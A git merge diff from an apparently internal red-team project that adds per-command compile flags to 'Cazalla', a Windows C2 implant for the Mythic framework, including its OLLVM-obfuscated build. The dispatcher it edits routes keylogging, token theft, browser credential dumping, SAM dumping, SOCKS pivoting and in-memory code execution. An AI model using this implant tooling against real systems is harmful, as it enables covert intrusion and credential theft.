Merge pull request 'Enable_Dynamic_Loading' (#2) from Enable_Dynamic_Loading into main
Reviewed-on: https://git.redteam/Offsec/Cazalla/pulls/2
This commit is contained in:
@@ -38,6 +38,9 @@ else
|
|||||||
DEBUG_OUTPUT_NUM = $(DEBUG_OUTPUT)
|
DEBUG_OUTPUT_NUM = $(DEBUG_OUTPUT)
|
||||||
endif
|
endif
|
||||||
|
|
||||||
|
# Command enable flags (passed from builder.py)
|
||||||
|
COMMAND_FLAGS ?=
|
||||||
|
|
||||||
# Debug flags based on level
|
# Debug flags based on level
|
||||||
DEBUG_FLAGS = -DDEBUG_SOCKS -g
|
DEBUG_FLAGS = -DDEBUG_SOCKS -g
|
||||||
ifeq ($(DEBUG_LEVEL_NUM),0)
|
ifeq ($(DEBUG_LEVEL_NUM),0)
|
||||||
@@ -69,17 +72,17 @@ debug_dll: $(BUILD_DIR)/cazalla-debug.dll
|
|||||||
|
|
||||||
# Executable Target
|
# Executable Target
|
||||||
$(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
|
$(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
|
||||||
$(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(LFLAGS)
|
$(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(COMMAND_FLAGS) $(LFLAGS)
|
||||||
|
|
||||||
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
|
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
|
||||||
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS_CONSOLE) $(DEBUG_FLAGS)
|
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(COMMAND_FLAGS) $(LFLAGS_CONSOLE) $(DEBUG_FLAGS)
|
||||||
|
|
||||||
# DLL Target
|
# DLL Target
|
||||||
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
|
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
|
||||||
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(LFLAGS)
|
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(COMMAND_FLAGS) $(LFLAGS)
|
||||||
|
|
||||||
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
|
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
|
||||||
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DEBUG_FLAGS)
|
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(COMMAND_FLAGS) $(LFLAGS) $(DEBUG_FLAGS)
|
||||||
|
|
||||||
# Clean up
|
# Clean up
|
||||||
clean:
|
clean:
|
||||||
|
|||||||
@@ -5,10 +5,14 @@
|
|||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
|
|
||||||
/* Forward: handlers for the new commands */
|
/* Forward: handlers for the new commands */
|
||||||
|
#ifdef ENABLE_SOCKS_CMD
|
||||||
static void startSocksHandler(PAnalizador analizadorTarea);
|
static void startSocksHandler(PAnalizador analizadorTarea);
|
||||||
static void stopSocksHandler(PAnalizador analizadorTarea);
|
static void stopSocksHandler(PAnalizador analizadorTarea);
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_RPFWD_CMD
|
||||||
static void startRpfwdHandler(PAnalizador analizadorTarea);
|
static void startRpfwdHandler(PAnalizador analizadorTarea);
|
||||||
static void stopRpfwdHandler(PAnalizador analizadorTarea);
|
static void stopRpfwdHandler(PAnalizador analizadorTarea);
|
||||||
|
#endif
|
||||||
|
|
||||||
BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
||||||
_inf("========== handleGetTasking INICIO ==========");
|
_inf("========== handleGetTasking INICIO ==========");
|
||||||
@@ -100,42 +104,84 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
|||||||
}
|
}
|
||||||
_inf("Tarea %u: Analizador creado, entrando en dispatch...", i+1);
|
_inf("Tarea %u: Analizador creado, entrando en dispatch...", i+1);
|
||||||
|
|
||||||
|
#ifdef ENABLE_SHELL_CMD
|
||||||
if (tarea == SHELL_CMD){
|
if (tarea == SHELL_CMD){
|
||||||
_inf("Tarea %u: Ejecutando SHELL_CMD", i+1);
|
_inf("Tarea %u: Ejecutando SHELL_CMD", i+1);
|
||||||
ejecutarConsola(analizadorTarea);
|
ejecutarConsola(analizadorTarea);
|
||||||
} else if (tarea == EXIT_CMD) {
|
} else if (tarea == EXIT_CMD) {
|
||||||
|
#else
|
||||||
|
if (tarea == EXIT_CMD) {
|
||||||
|
#endif
|
||||||
cerrarCallback(analizadorTarea);
|
cerrarCallback(analizadorTarea);
|
||||||
} else if (tarea == SLEEP_CMD){
|
} else if (tarea == SLEEP_CMD){
|
||||||
sleep(analizadorTarea);
|
sleep(analizadorTarea);
|
||||||
} else if (tarea == PROCESS_CMD){
|
}
|
||||||
|
#ifdef ENABLE_PS_CMD
|
||||||
|
else if (tarea == PROCESS_CMD){
|
||||||
listarProcesos(analizadorTarea);
|
listarProcesos(analizadorTarea);
|
||||||
} else if (tarea == CD_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_CD_CMD
|
||||||
|
else if (tarea == CD_CMD) {
|
||||||
CambiarDirectorio(analizadorTarea);
|
CambiarDirectorio(analizadorTarea);
|
||||||
} else if (tarea == LS_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_LS_CMD
|
||||||
|
else if (tarea == LS_CMD) {
|
||||||
ListarDirectorio(analizadorTarea);
|
ListarDirectorio(analizadorTarea);
|
||||||
} else if (tarea == PWD_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_PWD_CMD
|
||||||
|
else if (tarea == PWD_CMD) {
|
||||||
ObtenerPath(analizadorTarea);
|
ObtenerPath(analizadorTarea);
|
||||||
} else if (tarea == CP_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_CP_CMD
|
||||||
|
else if (tarea == CP_CMD) {
|
||||||
CopiarFichero(analizadorTarea);
|
CopiarFichero(analizadorTarea);
|
||||||
} else if (tarea == MKDIR_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_MKDIR_CMD
|
||||||
|
else if (tarea == MKDIR_CMD) {
|
||||||
CrearRuta(analizadorTarea);
|
CrearRuta(analizadorTarea);
|
||||||
} else if (tarea == RM_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_RM_CMD
|
||||||
|
else if (tarea == RM_CMD) {
|
||||||
EliminarRuta(analizadorTarea);
|
EliminarRuta(analizadorTarea);
|
||||||
} else if (tarea == CAT_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_CAT_CMD
|
||||||
|
else if (tarea == CAT_CMD) {
|
||||||
LeerFichero(analizadorTarea);
|
LeerFichero(analizadorTarea);
|
||||||
} else if (tarea == DOWNLOAD_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_DOWNLOAD_CMD
|
||||||
|
else if (tarea == DOWNLOAD_CMD) {
|
||||||
DescargarFichero(analizadorTarea);
|
DescargarFichero(analizadorTarea);
|
||||||
} else if (tarea == UPLOAD_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_UPLOAD_CMD
|
||||||
|
else if (tarea == UPLOAD_CMD) {
|
||||||
SubirFichero(analizadorTarea);
|
SubirFichero(analizadorTarea);
|
||||||
} else if (tarea == SCREENSHOT_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_SCREENSHOT_CMD
|
||||||
|
else if (tarea == SCREENSHOT_CMD) {
|
||||||
CapturarPantalla(analizadorTarea);
|
CapturarPantalla(analizadorTarea);
|
||||||
} else if (tarea == START_SOCKS_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_SOCKS_CMD
|
||||||
|
else if (tarea == START_SOCKS_CMD) {
|
||||||
_dbg("Received START_SOCKS_CMD");
|
_dbg("Received START_SOCKS_CMD");
|
||||||
startSocksHandler(analizadorTarea);
|
startSocksHandler(analizadorTarea);
|
||||||
} else if (tarea == STOP_SOCKS_CMD) {
|
} else if (tarea == STOP_SOCKS_CMD) {
|
||||||
_dbg("Received STOP_SOCKS_CMD");
|
_dbg("Received STOP_SOCKS_CMD");
|
||||||
stopSocksHandler(analizadorTarea);
|
stopSocksHandler(analizadorTarea);
|
||||||
} else if (tarea == START_RPFWD_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_RPFWD_CMD
|
||||||
|
else if (tarea == START_RPFWD_CMD) {
|
||||||
_inf("===== START_RPFWD_CMD (0x%02X) detected ====", tarea);
|
_inf("===== START_RPFWD_CMD (0x%02X) detected ====", tarea);
|
||||||
_inf("Tarea %u: Llamando startRpfwdHandler()...", i+1);
|
_inf("Tarea %u: Llamando startRpfwdHandler()...", i+1);
|
||||||
startRpfwdHandler(analizadorTarea);
|
startRpfwdHandler(analizadorTarea);
|
||||||
@@ -143,61 +189,102 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
|||||||
} else if (tarea == STOP_RPFWD_CMD) {
|
} else if (tarea == STOP_RPFWD_CMD) {
|
||||||
_dbg("Received STOP_RPFWD_CMD");
|
_dbg("Received STOP_RPFWD_CMD");
|
||||||
stopRpfwdHandler(analizadorTarea);
|
stopRpfwdHandler(analizadorTarea);
|
||||||
} else if (tarea == KEYLOG_START_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_KEYLOG_START_CMD
|
||||||
|
else if (tarea == KEYLOG_START_CMD) {
|
||||||
_inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea);
|
||||||
StartKeylogger(analizadorTarea);
|
StartKeylogger(analizadorTarea);
|
||||||
_inf("===== KEYLOG_START_CMD COMPLETED =====");
|
_inf("===== KEYLOG_START_CMD COMPLETED =====");
|
||||||
} else if (tarea == KEYLOG_STOP_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_KEYLOG_STOP_CMD
|
||||||
|
else if (tarea == KEYLOG_STOP_CMD) {
|
||||||
_inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea);
|
||||||
StopKeylogger(analizadorTarea);
|
StopKeylogger(analizadorTarea);
|
||||||
_inf("===== KEYLOG_STOP_CMD COMPLETED =====");
|
_inf("===== KEYLOG_STOP_CMD COMPLETED =====");
|
||||||
} else if (tarea == LIST_TOKENS_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_LIST_TOKENS_CMD
|
||||||
|
else if (tarea == LIST_TOKENS_CMD) {
|
||||||
_inf("===== PROCESSING LIST_TOKENS_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING LIST_TOKENS_CMD (0x%02X) =====", tarea);
|
||||||
ListarTokens(analizadorTarea);
|
ListarTokens(analizadorTarea);
|
||||||
_inf("===== LIST_TOKENS_CMD COMPLETED =====");
|
_inf("===== LIST_TOKENS_CMD COMPLETED =====");
|
||||||
} else if (tarea == STEAL_TOKEN_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_STEAL_TOKEN_CMD
|
||||||
|
else if (tarea == STEAL_TOKEN_CMD) {
|
||||||
_inf("===== PROCESSING STEAL_TOKEN_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING STEAL_TOKEN_CMD (0x%02X) =====", tarea);
|
||||||
RobarToken(analizadorTarea);
|
RobarToken(analizadorTarea);
|
||||||
_inf("===== STEAL_TOKEN_CMD COMPLETED =====");
|
_inf("===== STEAL_TOKEN_CMD COMPLETED =====");
|
||||||
} else if (tarea == MAKE_TOKEN_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_MAKE_TOKEN_CMD
|
||||||
|
else if (tarea == MAKE_TOKEN_CMD) {
|
||||||
_inf("===== PROCESSING MAKE_TOKEN_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING MAKE_TOKEN_CMD (0x%02X) =====", tarea);
|
||||||
CrearToken(analizadorTarea);
|
CrearToken(analizadorTarea);
|
||||||
_inf("===== MAKE_TOKEN_CMD COMPLETED =====");
|
_inf("===== MAKE_TOKEN_CMD COMPLETED =====");
|
||||||
} else if (tarea == REV2SELF_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_REV2SELF_CMD
|
||||||
|
else if (tarea == REV2SELF_CMD) {
|
||||||
_inf("===== PROCESSING REV2SELF_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING REV2SELF_CMD (0x%02X) =====", tarea);
|
||||||
RevertirToken(analizadorTarea);
|
RevertirToken(analizadorTarea);
|
||||||
_inf("===== REV2SELF_CMD COMPLETED =====");
|
_inf("===== REV2SELF_CMD COMPLETED =====");
|
||||||
} else if (tarea == WHOAMI_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_WHOAMI_CMD
|
||||||
|
else if (tarea == WHOAMI_CMD) {
|
||||||
_inf("===== PROCESSING WHOAMI_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING WHOAMI_CMD (0x%02X) =====", tarea);
|
||||||
ObtenerUsuarioActual(analizadorTarea);
|
ObtenerUsuarioActual(analizadorTarea);
|
||||||
_inf("===== WHOAMI_CMD COMPLETED =====");
|
_inf("===== WHOAMI_CMD COMPLETED =====");
|
||||||
} else if (tarea == KILL_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_KILL_CMD
|
||||||
|
else if (tarea == KILL_CMD) {
|
||||||
_inf("===== PROCESSING KILL_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING KILL_CMD (0x%02X) =====", tarea);
|
||||||
MatarProceso(analizadorTarea);
|
MatarProceso(analizadorTarea);
|
||||||
_inf("===== KILL_CMD COMPLETED =====");
|
_inf("===== KILL_CMD COMPLETED =====");
|
||||||
} else if (tarea == BROWSER_INFO_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_BROWSER_INFO_CMD
|
||||||
|
else if (tarea == BROWSER_INFO_CMD) {
|
||||||
_inf("===== PROCESSING BROWSER_INFO_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING BROWSER_INFO_CMD (0x%02X) =====", tarea);
|
||||||
IdentificarNavegadores(analizadorTarea);
|
IdentificarNavegadores(analizadorTarea);
|
||||||
_inf("===== BROWSER_INFO_CMD COMPLETED =====");
|
_inf("===== BROWSER_INFO_CMD COMPLETED =====");
|
||||||
} else if (tarea == BROWSER_DUMP_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_BROWSER_DUMP_CMD
|
||||||
|
else if (tarea == BROWSER_DUMP_CMD) {
|
||||||
_inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea);
|
||||||
DumparNavegador(analizadorTarea);
|
DumparNavegador(analizadorTarea);
|
||||||
_inf("===== BROWSER_DUMP_CMD COMPLETED =====");
|
_inf("===== BROWSER_DUMP_CMD COMPLETED =====");
|
||||||
} else if (tarea == SAMDUMP_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_SAMDUMP_CMD
|
||||||
|
else if (tarea == SAMDUMP_CMD) {
|
||||||
_inf("===== PROCESSING SAMDUMP_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING SAMDUMP_CMD (0x%02X) =====", tarea);
|
||||||
SamDumpHandler(analizadorTarea);
|
SamDumpHandler(analizadorTarea);
|
||||||
_inf("===== SAMDUMP_CMD COMPLETED =====");
|
_inf("===== SAMDUMP_CMD COMPLETED =====");
|
||||||
} else if (tarea == INLINE_EXECUTE_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_INLINE_EXECUTE_CMD
|
||||||
|
else if (tarea == INLINE_EXECUTE_CMD) {
|
||||||
_inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea);
|
||||||
InlineExecuteHandler(analizadorTarea);
|
InlineExecuteHandler(analizadorTarea);
|
||||||
_inf("===== INLINE_EXECUTE_CMD COMPLETED =====");
|
_inf("===== INLINE_EXECUTE_CMD COMPLETED =====");
|
||||||
} else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) {
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD
|
||||||
|
else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) {
|
||||||
_inf("===== PROCESSING INLINE_EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING INLINE_EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea);
|
||||||
// This command is typically handled via subtasks in Python
|
// This command is typically handled via subtasks in Python
|
||||||
// But if called directly, we'll handle it here
|
// But if called directly, we'll handle it here
|
||||||
_wrn("inline_execute_assembly should be called via subtasks");
|
_wrn("inline_execute_assembly should be called via subtasks");
|
||||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||||
} else {
|
}
|
||||||
|
#endif
|
||||||
|
else {
|
||||||
_wrn("Tarea desconocida: 0x%02x", tarea);
|
_wrn("Tarea desconocida: 0x%02x", tarea);
|
||||||
_wrn("Tarea %u: Comando desconocido, liberando recursos", i+1);
|
_wrn("Tarea %u: Comando desconocido, liberando recursos", i+1);
|
||||||
// liberar analizador si no será usado por otro handler
|
// liberar analizador si no será usado por otro handler
|
||||||
@@ -312,6 +399,7 @@ BOOL rutina() {
|
|||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#ifdef ENABLE_SOCKS_CMD
|
||||||
/* ============================
|
/* ============================
|
||||||
START_SOCKS_CMD handler
|
START_SOCKS_CMD handler
|
||||||
Expected params (in this order inside the task buffer):
|
Expected params (in this order inside the task buffer):
|
||||||
@@ -403,7 +491,9 @@ static void stopSocksHandler(PAnalizador analizadorTarea) {
|
|||||||
|
|
||||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef ENABLE_RPFWD_CMD
|
||||||
/* ============================
|
/* ============================
|
||||||
START_RPFWD_CMD handler
|
START_RPFWD_CMD handler
|
||||||
Expected params (in this order inside the task buffer):
|
Expected params (in this order inside the task buffer):
|
||||||
@@ -518,3 +608,4 @@ static void stopRpfwdHandler(PAnalizador analizadorTarea) {
|
|||||||
|
|
||||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
@@ -22,7 +22,7 @@ class CazallaAgent(PayloadType):
|
|||||||
wrapper = False
|
wrapper = False
|
||||||
wrapped_payloads = []
|
wrapped_payloads = []
|
||||||
note = """C implant Developed by the Kaseya OFSTeam"""
|
note = """C implant Developed by the Kaseya OFSTeam"""
|
||||||
supports_dynamic_loading = False
|
supports_dynamic_loading = True
|
||||||
c2_profiles = ["http"]
|
c2_profiles = ["http"]
|
||||||
mythic_encrypts = True
|
mythic_encrypts = True
|
||||||
translation_container = "cazalla_translator"
|
translation_container = "cazalla_translator"
|
||||||
@@ -198,6 +198,60 @@ class CazallaAgent(PayloadType):
|
|||||||
StepSuccess=True
|
StepSuccess=True
|
||||||
))
|
))
|
||||||
|
|
||||||
|
# Get selected commands and create compiler defines
|
||||||
|
selected_commands = self.commands.get_commands()
|
||||||
|
debug_messages.append(f"\n=== COMMAND SELECTION ===")
|
||||||
|
debug_messages.append(f"Total commands selected: {len(selected_commands)}")
|
||||||
|
debug_messages.append(f"Selected commands: {', '.join(sorted(selected_commands))}")
|
||||||
|
|
||||||
|
# Map command names to preprocessor define names
|
||||||
|
# Format: command_name -> ENABLE_XXX_CMD
|
||||||
|
command_to_define = {
|
||||||
|
"shell": "ENABLE_SHELL_CMD",
|
||||||
|
"cd": "ENABLE_CD_CMD",
|
||||||
|
"ls": "ENABLE_LS_CMD",
|
||||||
|
"pwd": "ENABLE_PWD_CMD",
|
||||||
|
"cp": "ENABLE_CP_CMD",
|
||||||
|
"mkdir": "ENABLE_MKDIR_CMD",
|
||||||
|
"rm": "ENABLE_RM_CMD",
|
||||||
|
"cat": "ENABLE_CAT_CMD",
|
||||||
|
"download": "ENABLE_DOWNLOAD_CMD",
|
||||||
|
"upload": "ENABLE_UPLOAD_CMD",
|
||||||
|
"screenshot": "ENABLE_SCREENSHOT_CMD",
|
||||||
|
"ps": "ENABLE_PS_CMD",
|
||||||
|
"kill": "ENABLE_KILL_CMD",
|
||||||
|
"socks": "ENABLE_SOCKS_CMD",
|
||||||
|
"rpfwd": "ENABLE_RPFWD_CMD",
|
||||||
|
"keylog_start": "ENABLE_KEYLOG_START_CMD",
|
||||||
|
"keylog_stop": "ENABLE_KEYLOG_STOP_CMD",
|
||||||
|
"list_tokens": "ENABLE_LIST_TOKENS_CMD",
|
||||||
|
"steal_token": "ENABLE_STEAL_TOKEN_CMD",
|
||||||
|
"make_token": "ENABLE_MAKE_TOKEN_CMD",
|
||||||
|
"rev2self": "ENABLE_REV2SELF_CMD",
|
||||||
|
"whoami": "ENABLE_WHOAMI_CMD",
|
||||||
|
"browser_info": "ENABLE_BROWSER_INFO_CMD",
|
||||||
|
"browser_dump": "ENABLE_BROWSER_DUMP_CMD",
|
||||||
|
"samdump": "ENABLE_SAMDUMP_CMD",
|
||||||
|
"inline_execute": "ENABLE_INLINE_EXECUTE_CMD",
|
||||||
|
"inline_execute_assembly": "ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD",
|
||||||
|
}
|
||||||
|
|
||||||
|
# Generate compiler defines for selected commands
|
||||||
|
command_flags = []
|
||||||
|
for cmd_name in selected_commands:
|
||||||
|
if cmd_name in command_to_define:
|
||||||
|
define_name = command_to_define[cmd_name]
|
||||||
|
command_flags.append(f"-D{define_name}")
|
||||||
|
debug_messages.append(f" -> {cmd_name}: {define_name}")
|
||||||
|
|
||||||
|
# Core commands (exit, sleep) are always included, no flags needed
|
||||||
|
# Commands with builtin=True (sleep) are always included by Mythic
|
||||||
|
|
||||||
|
command_flags_str = " ".join(command_flags)
|
||||||
|
debug_messages.append(f"\nGenerated {len(command_flags)} command enable flags")
|
||||||
|
if command_flags_str:
|
||||||
|
debug_messages.append(f"Command flags: {command_flags_str}")
|
||||||
|
|
||||||
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
|
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
|
||||||
copy_tree(str(self.agent_path), agent_build_path.name)
|
copy_tree(str(self.agent_path), agent_build_path.name)
|
||||||
|
|
||||||
@@ -275,6 +329,10 @@ class CazallaAgent(PayloadType):
|
|||||||
# The Makefile will convert string values to numbers
|
# The Makefile will convert string values to numbers
|
||||||
make_flags = f"DEBUG_LEVEL={debug_level} DEBUG_OUTPUT={debug_output}"
|
make_flags = f"DEBUG_LEVEL={debug_level} DEBUG_OUTPUT={debug_output}"
|
||||||
|
|
||||||
|
# Add command flags to make command
|
||||||
|
if command_flags_str:
|
||||||
|
make_flags = f"{make_flags} COMMAND_FLAGS='{command_flags_str}'" if make_flags else f"COMMAND_FLAGS='{command_flags_str}'"
|
||||||
|
|
||||||
command = f"make -C {agent_build_path.name}/agent_code/cazalla {make_target} {make_flags}"
|
command = f"make -C {agent_build_path.name}/agent_code/cazalla {make_target} {make_flags}"
|
||||||
filename = f"{agent_build_path.name}/agent_code/cazalla/build/{output_filename}"
|
filename = f"{agent_build_path.name}/agent_code/cazalla/build/{output_filename}"
|
||||||
|
|
||||||
@@ -336,11 +394,15 @@ class CazallaAgent(PayloadType):
|
|||||||
elif ollvm_compilation == 2:
|
elif ollvm_compilation == 2:
|
||||||
obfuscation_parameters = level_2_obfuscation_parameters
|
obfuscation_parameters = level_2_obfuscation_parameters
|
||||||
|
|
||||||
|
# Add command flags to OLLVM compilation
|
||||||
|
command_flags_ollvm = command_flags_str if command_flags_str else ""
|
||||||
|
|
||||||
# Compilation Command
|
# Compilation Command
|
||||||
compilation_command = f"clang -target x86_64-w64-mingw32 \
|
compilation_command = f"clang -target x86_64-w64-mingw32 \
|
||||||
-fuse-ld=lld \
|
-fuse-ld=lld \
|
||||||
-DDEBUG_LEVEL={debug_level_docker} \
|
-DDEBUG_LEVEL={debug_level_docker} \
|
||||||
-DDEBUG_OUTPUT={debug_output_docker} \
|
-DDEBUG_OUTPUT={debug_output_docker} \
|
||||||
|
{command_flags_ollvm} \
|
||||||
{obfuscation_parameters} \
|
{obfuscation_parameters} \
|
||||||
-L/usr/lib/gcc/x86_64-w64-mingw32/13-posix \
|
-L/usr/lib/gcc/x86_64-w64-mingw32/13-posix \
|
||||||
--sysroot=/usr/x86_64-w64-mingw32 \
|
--sysroot=/usr/x86_64-w64-mingw32 \
|
||||||
|
|||||||
@@ -35,6 +35,9 @@ class DownloadCommand(CommandBase):
|
|||||||
supported_ui_features = ["file_browser:download"]
|
supported_ui_features = ["file_browser:download"]
|
||||||
author = "@KaseyaOFSTeam"
|
author = "@KaseyaOFSTeam"
|
||||||
argument_class = DownloadArguments
|
argument_class = DownloadArguments
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
supported_os=[SupportedOS.Windows]
|
||||||
|
)
|
||||||
|
|
||||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -25,6 +25,10 @@ class ExitCommand(CommandBase):
|
|||||||
author = "Kaseya OFSTeam"
|
author = "Kaseya OFSTeam"
|
||||||
argument_class = ExitArguments
|
argument_class = ExitArguments
|
||||||
attackmapping = []
|
attackmapping = []
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
supported_os=[SupportedOS.Windows],
|
||||||
|
builtin=True
|
||||||
|
)
|
||||||
|
|
||||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
response = PTTaskCreateTaskingMessageResponse(
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
|
|||||||
@@ -253,7 +253,7 @@ class InlineExecuteCommand(CommandBase):
|
|||||||
attributes = CommandAttributes(
|
attributes = CommandAttributes(
|
||||||
builtin=False,
|
builtin=False,
|
||||||
supported_os=[ SupportedOS.Windows ],
|
supported_os=[ SupportedOS.Windows ],
|
||||||
suggested_command=True
|
suggested_command=False
|
||||||
)
|
)
|
||||||
|
|
||||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
|
|||||||
@@ -266,7 +266,8 @@ class InlineExecuteAssemblyCommand(CommandBase):
|
|||||||
completion_functions = {"coff_completion_callback": coff_completion_callback}
|
completion_functions = {"coff_completion_callback": coff_completion_callback}
|
||||||
attributes = CommandAttributes(
|
attributes = CommandAttributes(
|
||||||
dependencies=["inline_execute"],
|
dependencies=["inline_execute"],
|
||||||
alias=True
|
alias=True,
|
||||||
|
supported_os=[SupportedOS.Windows]
|
||||||
)
|
)
|
||||||
|
|
||||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||||
|
|||||||
@@ -73,6 +73,9 @@ class KillCommand(CommandBase):
|
|||||||
attackmapping = ["T1489"]
|
attackmapping = ["T1489"]
|
||||||
supported_ui_features = ["process_browser:kill"]
|
supported_ui_features = ["process_browser:kill"]
|
||||||
argument_class = KillArguments
|
argument_class = KillArguments
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
supported_os=[SupportedOS.Windows]
|
||||||
|
)
|
||||||
|
|
||||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -52,6 +52,9 @@ class ListTokensCommand(CommandBase):
|
|||||||
author = "@KaseyaOFSTeam"
|
author = "@KaseyaOFSTeam"
|
||||||
supported_ui_features = ["process_browser:list_tokens"]
|
supported_ui_features = ["process_browser:list_tokens"]
|
||||||
argument_class = ListTokensArguments
|
argument_class = ListTokensArguments
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
supported_os=[SupportedOS.Windows]
|
||||||
|
)
|
||||||
|
|
||||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -111,7 +111,7 @@ class LsCommand(CommandBase):
|
